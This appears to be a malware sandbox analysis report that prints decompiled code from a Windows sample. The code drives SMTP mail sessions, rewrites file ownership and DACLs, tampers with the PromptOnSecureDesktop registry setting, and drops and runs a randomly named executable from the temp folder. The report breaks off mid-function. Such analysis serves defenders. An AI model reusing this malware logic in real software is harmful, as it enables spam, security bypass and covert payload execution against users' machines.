va=%08X%08X uef=%p, xrefs: 00406595
_ax=%p_bx=%p_cx=%p_dx=%p_si=%p_di=%p_bp=%p_sp=%p, xrefs: 004065D6
ver=%d date=%s %sc=%08x a=%p, xrefs: 00406547
ret=%pp1=%pp2=%pp3=%pp4=%p, xrefs: 0040666B

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: wsprintf$Processhtonl$CurrentExitReadStackWalk64
String ID: %d=%p$_ax=%p_bx=%p_cx=%p_dx=%p_si=%p_di=%p_bp=%p_sp=%p$ver=%d date=%s %sc=%08x a=%p$ va=%08X%08X uef=%p$12:08:32$Jan 13 2018$except_info$localcfg$plgs:$ret=%pp1=%pp2=%pp3=%pp4=%p
API String ID: 2400214276-165278494
Opcode ID: fbd2438e5a8d786474603689893f321f2aaf39c813a77a2b8649c1733411c7dd
Instruction ID: d0bbb1ce902d37c6012dbda67fcae0275dd4f0eb650f6cdd038f268f1af807dd
Opcode Fuzzy Hash: fbd2438e5a8d786474603689893f321f2aaf39c813a77a2b8649c1733411c7dd
Instruction Fuzzy Hash: FC615F72940208EFDB609FB4DC45FEA77E9FF08300F24846AF95DD2161DA7599908F58

Uniqueness

Uniqueness Score: -1.00%

Function 0040A7C1, Relevance: 38.8, APIs: 8, Strings: 14, Instructions: 299
networkstringCOMMON

Download Yara Rule

C-Code - Quality: 49%

			E0040A7C1(intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12, CHAR* _a16) {
				short _v129;
				char _v132;
				char _v1156;
				signed int _t59;
				int _t60;
				void* _t61;
				char* _t62;
				void* _t63;
				void* _t65;
				void* _t82;
				void* _t96;
				intOrPtr _t102;
				char _t103;
				void* _t104;
				int _t121;
				intOrPtr _t123;
				void* _t124;
				CHAR* _t125;
				intOrPtr* _t126;
				intOrPtr* _t127;
				void* _t129;
				void* _t130;
				void* _t131;

				_t102 = _a8;
				_t2 = _t102 - 1; // 0x0
				_t59 = _t2;
				_t125 =  &_v132;
				if(_t59 > 0xb) {
					L21:
					_t60 = lstrlenA(_t125);
					_t121 = _t60;
					_t126 = __imp__#19;
					_t61 =  *_t126(_a4, _t125, _t121, 0);
					if(_t61 == _t121) {
						if(_t102 != 6) {
							L28:
							_t127 = __imp__#16;
							_t103 = 0;
							_push(0);
							_v1156 = 0;
							_v132 = 0;
							_push(0x3f6);
							_t62 =  &_v1156;
							while(1) {
								_t63 =  *_t127(_a4, _t62);
								if(_t63 <= 0) {
									break;
								}
								_t103 = _t103 + _t63;
								if(_t103 > 0x1f4) {
									wsprintfA(_a16, "Too big smtp respons (%d bytes)\n", _t103);
									_push(6);
									L72:
									_pop(_t65);
									return _t65;
								}
								 *((char*)(_t130 + _t103 - 0x480)) = 0;
								if(_v132 != 0) {
									L33:
									if(E0040EE95( &_v1156,  &_v132) != 0) {
										break;
									}
									L34:
									_push(0);
									_push(0x3f6 - _t103);
									_t62 = _t130 + _t103 - 0x480;
									continue;
								}
								if(_t103 <= 3) {
									goto L34;
								}
								E0040EE08( &_v132,  &_v1156, 4);
								_t131 = _t131 + 0xc;
								_v129 = 0x20;
								if(_v132 == 0) {
									goto L34;
								}
								goto L33;
							}
							_t123 = _a8;
							if(_t123 == 7) {
								L23:
								_push(2);
								goto L72;
							}
							if(_t103 <= 5) {
								E0040EF00(_a16, "Too small respons\n");
							} else {
								E0040EE08(_a16,  &_v1156, 0x76);
								_t131 = _t131 + 0xc;
								_a16[0x76] = 0;
							}
							if(_t103 < 5 ||  *((char*)(_t130 + _t103 - 0x481)) != 0xa) {
								E0040EF00(_a16, "Incorrect respons");
								_push(7);
							} else {
								_t104 = E0040EDAC( &_v1156);
								if(_t104 == 0xdc || _t104 == 0xfa || _t104 == 0x162 || _t104 == 0xdd || _t104 == 0x14e || _t104 == 0xeb) {
									_t129 = 1;
									 *0x413668 = E0040EE95( &_v1156, "ESMTP") & 0xffffff00 | _t74 != 0x00000000;
									_t123 = 1;
								} else {
									_t129 = 0;
								}
								if(_t123 != 0xc || _t104 != 0x217) {
									if(_t129 != 0) {
										goto L23;
									}
									_t76 =  *0x413630;
									if( *0x413630 == 0 ||  *0x413634 == _t129 ||  *0x413638 == _t129) {
										L70:
										_push(0xb);
									} else {
										if(_t123 != 4 || E0040A699( &_v1156, _t76) == 0) {
											if(E0040A699( &_v1156,  *0x413634) == 0) {
												if(E0040A699( &_v1156,  *0x413638) == 0) {
													if(_t123 == 3 || _t123 == 4 || _t123 == 5 || _t123 == 6) {
														_t82 = E0040E819(1, "localcfg", "ip", E004030B5());
														_push( &_v132);
														if(E0040EE95( &_v1156, E0040A7A3(_t82, _t82)) != 0) {
															goto L62;
														}
													}
													goto L70;
												}
												_push(0xa);
												goto L72;
											}
											L62:
											_push(9);
										} else {
											_push(8);
										}
									}
								} else {
									_push(0xf);
								}
							}
							goto L72;
						}
						_t124 = 5;
						_t96 =  *_t126(_a4, "\r\n.\r\n", _t124, 0);
						if(_t96 == _t124) {
							goto L28;
						}
						wsprintfA(_a16, "Error sending command (sent = %d/%d)\n", _t96, _t124);
						return _t124;
					}
					if(_t102 != 7) {
						wsprintfA(_a16, "Error sending command (sent = %d/%d)\n", _t61, _t121);
						_push(5);
						goto L72;
					}
					goto L23;
				}
				switch( *((intOrPtr*)(_t59 * 4 +  &M0040AB51))) {
					case 0:
						goto L28;
					case 1:
						_push(_a12);
						_t100 =  &_v132;
						if( *0x413668 == 0) {
							_push("helo %s\r\n");
						} else {
							_push("ehlo %s\r\n");
						}
						goto L4;
					case 2:
						_push(_a12);
						_push("mail from:<%s>\r\n");
						goto L14;
					case 3:
						_push(_a12);
						_push("rcpt to:<%s>\r\n");
						L14:
						__eax =  &_v132;
						L4:
						wsprintfA(_t100, ??);
						goto L20;
					case 4:
						_push(7);
						_push("data\r\n");
						goto L19;
					case 5:
						goto L21;
					case 6:
						_push(7);
						_push("quit\r\n");
						goto L19;
					case 7:
						goto L21;
					case 8:
						_push(0xd);
						_push("AUTH LOGIN\r\n");
						L19:
						__eax =  &_v132;
						_push( &_v132);
						__eax = E0040EE08();
						goto L20;
					case 9:
						__eax = _a12;
						_t9 = __eax + 1; // 0x1
						__edx = _t9;
						do {
							__cl =  *__eax;
							__eax = __eax + 1;
						} while (__cl != 0);
						goto L9;
					case 0xa:
						__eax = _a12;
						_t15 = __eax + 1; // 0x1
						__edx = _t15;
						do {
							__cl =  *__eax;
							__eax = __eax + 1;
						} while (__cl != 0);
						L9:
						__eax = __eax - __edx;
						 *((char*)(__ebp + __eax - 0x80)) = 0;
						L20:
						_t131 = _t131 + 0xc;
						goto L21;
				}
			}

0x0040a7cb
0x0040a7cf
0x0040a7cf
0x0040a7d3
0x0040a7d9
0x0040a87d
0x0040a87e
0x0040a886
0x0040a88d
0x0040a893
0x0040a897
0x0040a8c2
0x0040a8f2
0x0040a8f2
0x0040a8f8
0x0040a8fa
0x0040a900
0x0040a906
0x0040a909
0x0040a90a
0x0040a978
0x0040a97c
0x0040a980
0x00000000
0x00000000
0x0040a912
0x0040a91a
0x0040a9b9
0x0040a9c2
0x0040ab4a
0x0040ab4a
0x00000000
0x0040ab4a
0x0040a924
0x0040a92c
0x0040a954
0x0040a968
0x00000000
0x00000000
0x0040a96a
0x0040a96e
0x0040a970
0x0040a971
0x00000000
0x0040a971
0x0040a931
0x00000000
0x00000000
0x0040a940
0x0040a945
0x0040a94c
0x0040a952
0x00000000
0x00000000
0x00000000
0x0040a952
0x0040a982
0x0040a988
0x0040a89e
0x0040a89e
0x00000000
0x0040a89e
0x0040a991
0x0040a9d1
0x0040a993
0x0040a99f
0x0040a9a7
0x0040a9aa
0x0040a9aa
0x0040a9db
0x0040ab41
0x0040ab48
0x0040a9ef
0x0040a9fb
0x0040aa04
0x0040aa40
0x0040aa4d
0x0040aa52
0x0040aa2e
0x0040aa2e
0x0040aa2e
0x0040aa57
0x0040aa6a
0x00000000
0x00000000
0x0040aa70
0x0040aa77
0x0040ab35
0x0040ab35
0x0040aa95
0x0040aa98
0x0040aaca
0x0040aae6
0x0040aaef
0x0040ab12
0x0040ab1a
0x0040ab33
0x00000000
0x00000000
0x0040ab33
0x00000000
0x0040aaef
0x0040aae8
0x00000000
0x0040aae8
0x0040aacc
0x0040aacc
0x0040aaad
0x0040aaad
0x0040aaad
0x0040aa98
0x0040aa61
0x0040aa61
0x0040aa61
0x0040aa57
0x00000000
0x0040a9db
0x0040a8c8
0x0040a8d2
0x0040a8d6
0x00000000
0x00000000
0x0040a8e2
0x00000000
0x0040a8eb
0x0040a89c
0x0040a8af
0x0040a8b8
0x00000000
0x0040a8b8
0x00000000
0x0040a89c
0x0040a7df
0x00000000
0x00000000
0x00000000
0x0040a7ed
0x0040a7f0
0x0040a7f3
0x0040a803
0x0040a7f5
0x0040a7f5
0x0040a7f5
0x00000000
0x00000000
0x0040a845
0x0040a848
0x00000000
0x00000000
0x0040a852
0x0040a855
0x0040a84d
0x0040a84d
0x0040a7fa
0x0040a7fb
0x00000000
0x00000000
0x0040a85c
0x0040a85e
0x00000000
0x00000000
0x00000000
0x00000000
0x0040a86a
0x0040a86c
0x00000000
0x00000000
0x00000000
0x00000000
0x0040a80a
0x0040a80c
0x0040a871
0x0040a871
0x0040a874
0x0040a875
0x00000000
0x00000000
0x0040a813
0x0040a816
0x0040a816
0x0040a819
0x0040a819
0x0040a81b
0x0040a81c
0x00000000
0x00000000
0x0040a836
0x0040a839
0x0040a839
0x0040a83c
0x0040a83c
0x0040a83e
0x0040a83f
0x0040a820
0x0040a824
0x0040a82f
0x0040a87a
0x0040a87a
0x00000000
0x00000000

APIs

wsprintfA.USER32 ref: 0040A7FB
lstrlenA.KERNEL32(?,00000000,00000000,00000001), ref: 0040A87E
send.WS2_32(00000000,?,00000000,00000000), ref: 0040A893
wsprintfA.USER32 ref: 0040A8AF
send.WS2_32(00000000,.,00000005,00000000), ref: 0040A8D2
wsprintfA.USER32 ref: 0040A8E2
recv.WS2_32(00000000,?,000003F6,00000000), ref: 0040A97C
wsprintfA.USER32 ref: 0040A9B9

Strings

mail from:<%s>, xrefs: 0040A848
rcpt to:<%s>, xrefs: 0040A855
., xrefs: 0040A8CA
Too small respons, xrefs: 0040A9C9
ehlo %s, xrefs: 0040A7F5
ESMTP, xrefs: 0040AA38
quit, xrefs: 0040A86C
data, xrefs: 0040A85E
Error sending command (sent = %d/%d), xrefs: 0040A8A7, 0040A8DA
localcfg, xrefs: 0040AB0B
Too big smtp respons (%d bytes), xrefs: 0040A9B1
AUTH LOGIN, xrefs: 0040A80C
Incorrect respons, xrefs: 0040AB39
helo %s, xrefs: 0040A803

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: wsprintf$send$lstrlenrecv
String ID: .$AUTH LOGIN$ESMTP$Error sending command (sent = %d/%d)$Incorrect respons$Too big smtp respons (%d bytes)$Too small respons$data$ehlo %s$helo %s$localcfg$mail from:<%s>$quit$rcpt to:<%s>
API String ID: 3650048968-2394369944
Opcode ID: ab93601b3fbd501b452cd95e20af3b55248dc9460a2857cfbe0e165fe481e7b1
Instruction ID: cb8b6fe7cbcb8804cc0a5996a8d7cccc3c4edaa2c523fe44b9a5a0cb3107b5a3
Opcode Fuzzy Hash: ab93601b3fbd501b452cd95e20af3b55248dc9460a2857cfbe0e165fe481e7b1
Instruction Fuzzy Hash: 34A16872A44305AADF209A54DC85FEF3B79AB00304F244437FA05B61D0DA7D9DA98B5F

Uniqueness

Uniqueness Score: -1.00%

Function 00867A59, Relevance: 38.7, APIs: 21, Strings: 1, Instructions: 226memoryCOMMON

Download Yara Rule

APIs

GetUserNameA.ADVAPI32(?,?), ref: 00867A7F
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 00867AB6
GetLengthSid.ADVAPI32(?), ref: 00867AC8
GetFileSecurityA.ADVAPI32(?,00000005,?,00000400,?), ref: 00867AEA
GetSecurityDescriptorOwner.ADVAPI32(?,?,?), ref: 00867B08
EqualSid.ADVAPI32(?,?), ref: 00867B22
LocalAlloc.KERNEL32(00000040,00000014), ref: 00867B33
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 00867B41
SetSecurityDescriptorOwner.ADVAPI32(00000000,?,00000000), ref: 00867B51
SetFileSecurityA.ADVAPI32(?,00000001,00000000), ref: 00867B60
LocalFree.KERNEL32(00000000), ref: 00867B67
GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00867B83
GetAce.ADVAPI32(?,?,?), ref: 00867BB3
EqualSid.ADVAPI32(?,?), ref: 00867BDA
DeleteAce.ADVAPI32(?,?), ref: 00867BF3
EqualSid.ADVAPI32(?,?), ref: 00867C15
LocalAlloc.KERNEL32(00000040,00000014), ref: 00867C9A
InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 00867CA8
SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,?,00000000), ref: 00867CB9
SetFileSecurityA.ADVAPI32(?,00000004,00000000), ref: 00867CC9
LocalFree.KERNEL32(00000000), ref: 00867CD7

Strings

D, xrefs: 00867AAC

Memory Dump Source

Source File: 00000019.00000002.447663709.0000000000860000.00000040.00000001.sdmp, Offset: 00860000, based on PE: false

Yara matches

Similarity

API ID: Security$Descriptor$Local$EqualFile$AllocDaclFreeInitializeNameOwner$AccountDeleteLengthLookupUser
String ID: D
API String ID: 3722657555-2746444292
Opcode ID: bb30bf074c347c8653546d93d28bb934471e976575b6637e302f0e375d0d0c6d
Instruction ID: d39ea00d781105d3e1e6202b92627a342c74af15d9c29fe4a2fad1d55d9abdd2
Opcode Fuzzy Hash: bb30bf074c347c8653546d93d28bb934471e976575b6637e302f0e375d0d0c6d
Instruction Fuzzy Hash: 76812971D0421DABDB218FA4DD84FEEBBB8FF08344F15806AE605E6150EB759A41CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00408328, Relevance: 35.4, APIs: 18, Strings: 2, Instructions: 361
registryCOMMON

Download Yara Rule

C-Code - Quality: 97%

			E00408328(char* __ecx, char __edx) {
				char _v8;
				void* _v12;
				int _v16;
				char _v20;
				intOrPtr _v24;
				int _v28;
				struct _PROCESS_INFORMATION _v44;
				char _v60;
				struct _STARTUPINFOA _v128;
				char _v388;
				char _v427;
				char _v428;
				char _t88;
				char _t89;
				void* _t91;
				char _t93;
				int _t102;
				char _t107;
				intOrPtr _t113;
				char _t116;
				void* _t117;
				signed int _t122;
				char _t126;
				void* _t128;
				char* _t130;
				char _t131;
				char* _t133;
				char _t134;
				char* _t137;
				int _t139;
				char _t144;
				char _t146;
				char* _t147;
				char _t149;
				char _t153;
				intOrPtr* _t154;
				char* _t156;
				char* _t159;
				char _t160;
				char _t165;
				void* _t174;
				signed int _t177;
				char _t180;
				char* _t188;
				int _t189;
				long _t193;
				void* _t195;
				void* _t196;
				void* _t198;
				void* _t199;

				_t181 = __edx;
				_t173 = __ecx;
				_v16 = 0;
				if(E00407DD6(__edx) != 0) {
					return 1;
				}
				_t88 = E00406EC3();
				__eflags = _t88;
				if(_t88 != 0) {
					_v8 = 0;
					__eflags =  *0x412c3c; // 0x0
					if(__eflags == 0) {
						goto L37;
					}
					__eflags =  *0x412c38; // 0x0
					if(__eflags == 0) {
						goto L37;
					}
					_t130 = E00402544(0x4122f8,  &E004106AC, 0x2e, 0xe4, 0xc8);
					_t198 = _t196 + 0x14;
					_t131 = RegOpenKeyExA(0x80000001, _t130, 0, 0x101,  &_v12);
					__eflags = _t131;
					if(_t131 != 0) {
						L31:
						_t133 = E00402544(0x4122f8,  &E004106AC, 0x2e, 0xe4, 0xc8);
						_t198 = _t198 + 0x14;
						_t134 = RegOpenKeyExA(0x80000001, _t133, 0, 0x103,  &_v12);
						__eflags = _t134;
						if(_t134 != 0) {
							L35:
							E0040EE2A(_t173, 0x4122f8, 0, 0x100);
							_t196 = _t198 + 0xc;
							__eflags = _v8;
							if(_v8 != 0) {
								E0040EC2E(_v8);
							}
							goto L37;
						}
						_t188 =  *0x412c3c; // 0x0
						_t137 = _t188;
						_t44 =  &(_t137[1]); // 0x1
						_t173 = _t44;
						do {
							_t181 =  *_t137;
							_t137 =  &(_t137[1]);
							__eflags = _t181;
						} while (_t181 != 0);
						_t139 = _t137 - _t173 + 1;
						__eflags = _t139;
						RegSetValueExA(_v12,  *0x412c38, 0, 1, _t188, _t139);
						RegCloseKey(_v12);
						goto L35;
					}
					_t144 = RegQueryValueExA(_v12,  *0x412c38, 0,  &_v28, 0,  &_v16);
					__eflags = _t144;
					if(_t144 == 0) {
						__eflags = _v28 - 1;
						if(_v28 == 1) {
							__eflags = _v16;
							if(_v16 > 0) {
								_t147 = E0040EBCC(_v16);
								_pop(_t173);
								_v8 = _t147;
								__eflags = _t147;
								if(_t147 != 0) {
									_t173 =  &_v16;
									_t149 = RegQueryValueExA(_v12,  *0x412c38, 0,  &_v28, _t147,  &_v16);
									__eflags = _t149;
									if(_t149 != 0) {
										E0040EC2E(_v8);
										_pop(_t173);
										_v8 = 0;
									}
								}
							}
						}
					}
					RegCloseKey(_v12);
					__eflags = _v8;
					if(_v8 != 0) {
						_t146 = E0040EED1(_v8,  *0x412c3c);
						_pop(_t173);
						__eflags = _t146;
						if(_t146 == 0) {
							goto L35;
						}
					}
					goto L31;
				} else {
					_t153 = E004073FF(_t173, 0x410264, 0, 0,  &_v388,  &_v60);
					_t199 = _t196 + 0x14;
					__eflags = _t153;
					if(_t153 <= 0) {
						L19:
						_t91 = 0;
						L56:
						return _t91;
					}
					__eflags = _v388;
					if(_v388 == 0) {
						goto L19;
					}
					__eflags = _v60;
					if(_v60 == 0) {
						goto L19;
					} else {
						_t154 =  &_v388;
						_t181 = _t154 + 1;
						do {
							_t180 =  *_t154;
							_t154 = _t154 + 1;
							__eflags = _t180;
						} while (_t180 != 0);
						_t156 = _t195 + _t154 - _t181 - 0x181;
						__eflags =  *_t156 - 0x5c;
						if( *_t156 == 0x5c) {
							 *_t156 = 0;
						}
						__eflags =  *0x412159 - 0x60;
						if( *0x412159 < 0x60) {
							L18:
							E0040EE2A(_t180, 0x4122f8, 0, 0x100);
							_t196 = _t199 + 0xc;
							L37:
							_v20 = 0;
							_v8 = 0;
							__eflags =  *0x4121a8; // 0x0
							if(__eflags == 0) {
								L42:
								__eflags =  *0x412cd8; // 0x0
								if(__eflags != 0) {
									L46:
									_t89 = E00406BA7(0x412cd8);
									_pop(_t174);
									__eflags = _t89;
									if(_t89 == 0) {
										L52:
										 *0x412cd8 = 0;
										L53:
										__eflags = _v8;
										if(_v8 != 0) {
											E0040EC2E(_v8);
										}
										_t91 = 1;
										__eflags = 1;
										goto L56;
									}
									_t93 = E00407E2F(_t181);
									__eflags = _t93;
									if(_t93 != 0) {
										L51:
										DeleteFileA(0x412cd8);
										goto L52;
									}
									_t193 = 0x44;
									E0040EE2A(_t174,  &_v128, 0, _t193);
									_v128.cb = _t193;
									E0040EE2A(_t174,  &_v44, 0, 0x10);
									_v428 = 0x22;
									lstrcpyA( &_v427, 0x412cd8);
									_t102 = lstrlenA( &_v428);
									 *((char*)(_t195 + _t102 - 0x1a8)) = 0x22;
									 *((char*)(_t195 + _t102 - 0x1a7)) = 0;
									E00407FCF(_t174);
									_t107 = CreateProcessA(0,  &_v428, 0, 0, 0, 0x8000000, 0, 0,  &_v128,  &_v44);
									__eflags = _t107;
									if(_t107 == 0) {
										E00407EE6(_t174);
										E00407EAD(_t181, __eflags, 0);
										goto L51;
									}
									CloseHandle(_v44.hThread);
									CloseHandle(_v44);
									goto L53;
								}
								GetTempPathA(0x12c, 0x412cd8);
								_t113 = E00408274(0x412cd8);
								_pop(_t177);
								_v24 = _t113;
								_t116 = (E0040ECA5() & 0x00000003) + 5;
								_v20 = _t116;
								__eflags = _t116;
								if(_t116 <= 0) {
									L45:
									_t117 = E00402544(0x4122f8, 0x410694, 5, 0xe4, 0xc8);
									_t69 = _v24 + 0x412cd8; // 0x0
									E0040EF00(_t69, _t117);
									E0040EE2A(_t177, 0x4122f8, 0, 0x100);
									_t196 = _t196 + 0x28;
									goto L46;
								} else {
									goto L44;
								}
								do {
									L44:
									_t122 = E0040ECA5();
									_t177 = 0x1a;
									_t181 = _t122 % _t177 + 0x61;
									_v24 = _v24 + 1;
									_v20 = _v20 - 1;
									 *((char*)(_v24 + 0x412cd8)) = _t122 % _t177 + 0x61;
									__eflags = _v20;
								} while (_v20 > 0);
								goto L45;
							}
							_t126 = E0040675C(0x4121a8,  &_v20, 0);
							_t196 = _t196 + 0xc;
							_v8 = _t126;
							__eflags =  *0x4121a8; // 0x0
							if(__eflags == 0) {
								goto L42;
							}
							__eflags = _t126;
							if(_t126 == 0) {
								goto L42;
							}
							__eflags = _v20 -  *0x4121a4; // 0x0
							if(__eflags != 0) {
								goto L42;
							}
							_t128 = E004024C2(_v8, _t127, 0);
							_t196 = _t196 + 0xc;
							__eflags =  *0x4122d4 - _t128; // 0x0
							if(__eflags == 0) {
								goto L53;
							}
							goto L42;
						}
						_t189 = 4;
						_v8 = 0;
						_v16 = _t189;
						_t159 = E00402544(0x4122f8,  &E00410710, 0x35, 0xe4, 0xc8);
						_t199 = _t199 + 0x14;
						_t160 = RegOpenKeyExA(0x80000002, _t159, 0, 0x103,  &_v12);
						__eflags = _t160;
						if(_t160 != 0) {
							goto L18;
						}
						_t165 = RegQueryValueExA(_v12,  &_v388, 0,  &_v28,  &_v8,  &_v16);
						__eflags = _t165;
						if(_t165 != 0) {
							L16:
							_v8 = 0;
							RegSetValueExA(_v12,  &_v388, 0, _t189,  &_v8, _t189);
							L17:
							RegCloseKey(_v12);
							goto L18;
						}
						__eflags = _v28 - _t189;
						if(_v28 != _t189) {
							goto L16;
						}
						__eflags = _v16 - _t189;
						if(_v16 != _t189) {
							goto L16;
						}
						__eflags = _v8;
						if(_v8 == 0) {
							goto L17;
						}
						goto L16;
					}
				}
			}

0x00408328
0x00408328
0x00408334
0x0040833e
0x00000000
0x00408342
0x0040834a
0x00408354
0x00408356
0x0040846b
0x0040846e
0x00408474
0x00000000
0x00000000
0x0040847a
0x00408480
0x00000000
0x00000000
0x004084a2
0x004084ad
0x004084b6
0x004084b8
0x004084ba
0x00408543
0x0040855f
0x00408564
0x0040856d
0x0040856f
0x00408571
0x004085a5
0x004085ac
0x004085b1
0x004085b4
0x004085b7
0x004085bc
0x004085c1
0x00000000
0x004085b7
0x00408573
0x00408579
0x0040857b
0x0040857b
0x0040857e
0x0040857e
0x00408580
0x00408581
0x00408581
0x00408587
0x00408587
0x00408596
0x0040859f
0x00000000
0x0040859f
0x004084d3
0x004084d9
0x004084db
0x004084dd
0x004084e1
0x004084e3
0x004084e6
0x004084eb
0x004084f0
0x004084f1
0x004084f4
0x004084f6
0x004084f8
0x0040850b
0x00408511
0x00408513
0x00408518
0x0040851d
0x0040851e
0x0040851e
0x00408513
0x004084f6
0x004084e6
0x004084e1
0x00408524
0x0040852a
0x0040852d
0x00408538
0x0040853e
0x0040853f
0x00408541
0x00000000
0x00000000
0x00408541
0x00000000
0x0040835c
0x0040836e
0x00408373
0x00408376
0x00408378
0x00408464
0x00408464
0x00408779
0x00000000
0x0040877a
0x0040837e
0x00408384
0x00000000
0x00000000
0x0040838a
0x0040838d
0x00000000
0x00408393
0x00408393
0x00408399
0x0040839c
0x0040839c
0x0040839e
0x0040839f
0x0040839f
0x004083a5
0x004083ac
0x004083af
0x004083b1
0x004083b1
0x004083b3
0x004083ba
0x00408450
0x00408457
0x0040845c
0x004085c2
0x004085c2
0x004085c5
0x004085c8
0x004085ce
0x00408615
0x0040861a
0x00408620
0x004086a7
0x004086a8
0x004086ad
0x004086ae
0x004086b0
0x00408762
0x00408762
0x00408768
0x00408768
0x0040876b
0x00408770
0x00408775
0x00408778
0x00408778
0x00000000
0x00408778
0x004086b6
0x004086bb
0x004086bd
0x0040875b
0x0040875c
0x00000000
0x0040875c
0x004086c5
0x004086cc
0x004086d8
0x004086db
0x004086eb
0x004086f2
0x004086ff
0x00408705
0x0040870d
0x00408714
0x00408733
0x00408739
0x0040873b
0x0040874f
0x00408755
0x00000000
0x0040875a
0x00408746
0x0040874b
0x00000000
0x0040874b
0x0040862c
0x00408633
0x00408638
0x00408639
0x00408644
0x00408647
0x0040864a
0x0040864c
0x00408671
0x00408683
0x0040868c
0x00408693
0x0040869f
0x004086a4
0x00000000
0x00000000
0x00000000
0x00000000
0x0040864e
0x0040864e
0x0040864e
0x00408657
0x0040865d
0x00408660
0x00408663
0x00408666
0x0040866c
0x0040866c
0x00000000
0x0040864e
0x004085da
0x004085df
0x004085e2
0x004085e5
0x004085eb
0x00000000
0x00000000
0x004085ed
0x004085ef
0x00000000
0x00000000
0x004085f4
0x004085fa
0x00000000
0x00000000
0x00408601
0x00408606
0x00408609
0x0040860f
0x00000000
0x00000000
0x00000000
0x0040860f
0x004083c2
0x004083df
0x004083e2
0x004083e5
0x004083ea
0x004083f3
0x004083f9
0x004083fb
0x00000000
0x00000000
0x00408414
0x0040841a
0x0040841c
0x0040842d
0x0040843e
0x00408441
0x00408447
0x0040844a
0x00000000
0x0040844a
0x0040841e
0x00408421
0x00000000
0x00000000
0x00408423
0x00408426
0x00000000
0x00000000
0x00408428
0x0040842b
0x00000000
0x00000000
0x00000000
0x0040842b
0x0040838d

APIs

RegOpenKeyExA.ADVAPI32(80000002,00000000,?,?,00000000,00000103,Function_00010750,?,?,00000000,localcfg,00000000), ref: 004083F3
RegQueryValueExA.ADVAPI32(00410750,?,00000000,?,00408893,?,?,?,00000000,00000103,Function_00010750,?,?,00000000,localcfg,00000000), ref: 00408414
RegSetValueExA.ADVAPI32(00410750,?,00000000,00000004,00408893,00000004,?,?,00000000,00000103,Function_00010750,?,?,00000000,localcfg,00000000), ref: 00408441
RegCloseKey.ADVAPI32(00410750,?,?,00000000,00000103,Function_00010750,?,?,00000000,localcfg,00000000), ref: 0040844A

Strings

localcfg, xrefs: 00408348
PromptOnSecureDesktop, xrefs: 0040834F, 004083DE, 00408456, 004084A1, 0040855E, 004085AB, 00408682, 0040869E

Memory Dump Source

Source File: 00000019.00000002.447489333.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000019.00000002.447525727.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Value$CloseOpenQuery
String ID: PromptOnSecureDesktop$localcfg
API String ID: 237177642-1678164370
Opcode ID: f0e8bc001febcaf3aa79265d78dfa7c2bcbced2000b5ff9bfcb5f44e60df388c
Instruction ID: 84ba07e5042139a9063b988de9b3f7486f2cd5d6c0453319c527b22e45c4d953
Opcode Fuzzy Hash: f0e8bc001febcaf3aa79265d78dfa7c2bcbced2000b5ff9bfcb5f44e60df388c
Instruction Fuzzy Hash: DAC1D2B1D00109BEEB11ABA0DE85EEF7BBCEB04304F14447FF544B2191EA794E948B69

Uniqueness

Uniqueness Score: -1.00%

Function 00402A62, Relevance: 33.4, APIs: 18, Strings: 1, Instructions: 194
networkmemoryCOMMON

Download Yara Rule

C-Code - Quality: 53%

			E00402A62(void* __ecx, intOrPtr* _a12) {
				intOrPtr _v8;
				intOrPtr _v12;
				intOrPtr* _v44;
				signed short _v272;
				char _v276;
				long _v280;
				char _v284;
				signed short _v288;
				signed short _v292;
				long _v300;
				long _v304;
				intOrPtr _v308;
				signed short _v324;
				intOrPtr _v332;
				signed short _v336;
				signed int _v340;
				signed int _v344;
				void* _v348;
				signed short _v352;
				signed short _v356;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr _t53;
				signed short _t66;
				void** _t71;
				void* _t76;
				void* _t77;
				void* _t78;
				signed short _t79;
				intOrPtr* _t81;
				signed short _t82;
				signed short _t83;
				intOrPtr _t86;
				signed int _t88;
				void* _t90;
				long _t91;
				signed short _t92;
				void* _t94;

				_t77 = __ecx;
				_t91 = 0;
				 *_a12 = 1;
				_t50 = HeapAlloc(GetProcessHeap(), 0, 0x1000);
				_t76 = _t50;
				if(_t76 != 0) {
					__imp__#23(2, 2, 0x11, _t78);
					_t79 = _t50;
					_v288 = _t79;
					if(_t79 == 0 || _t79 == 0xffffffff) {
						HeapFree(GetProcessHeap(), _t91, _t76);
						_t53 = 0;
						goto L37;
					} else {
						_v304 = 0;
						while(1) {
							_v300 = _t91;
							if(_v304 != _t91) {
								_push(_t91);
							} else {
								_push(0x100);
							}
							__imp__#9();
							_t50 = E004026FF(_v8, _t79, _v12, _t50 & 0x0000ffff);
							_t94 = _t94 + 0xc;
							if(_t50 != 0) {
								goto L32;
							}
							_t86 = 0xc;
							_t50 =  &_v276;
							_v272 = _t79;
							_v276 = 1;
							_v284 = _t86;
							_v280 = _t91;
							__imp__#18(_t91, _t50, _t91, _t91,  &_v284);
							if(_t50 <= 0) {
								goto L32;
							}
							_t50 = E0040EE2A(_t77, _t76, _t91, 4);
							_t94 = _t94 + 0xc;
							__imp__#16(_t79, _t76, 0x1000, _t91);
							_t92 = _t50;
							_v324 = _t92;
							if(_t92 > 0 && _t92 > _t86) {
								_t81 = __imp__#15;
								_t88 =  *_t81( *(_t76 + 2) & 0x0000ffff) & 0xf;
								if(_t88 == 3) {
									L34:
									 *_v44 = 2;
									L35:
									HeapFree(GetProcessHeap(), 0, _t76);
									__imp__#3(_v292);
									_t53 = _v308;
									L37:
									return _t53;
								}
								if(_t88 != 2) {
									L16:
									if(_t88 != 0) {
										goto L32;
									}
									_t50 = E00402923(_t77, _t76, _t92);
									_pop(_t77);
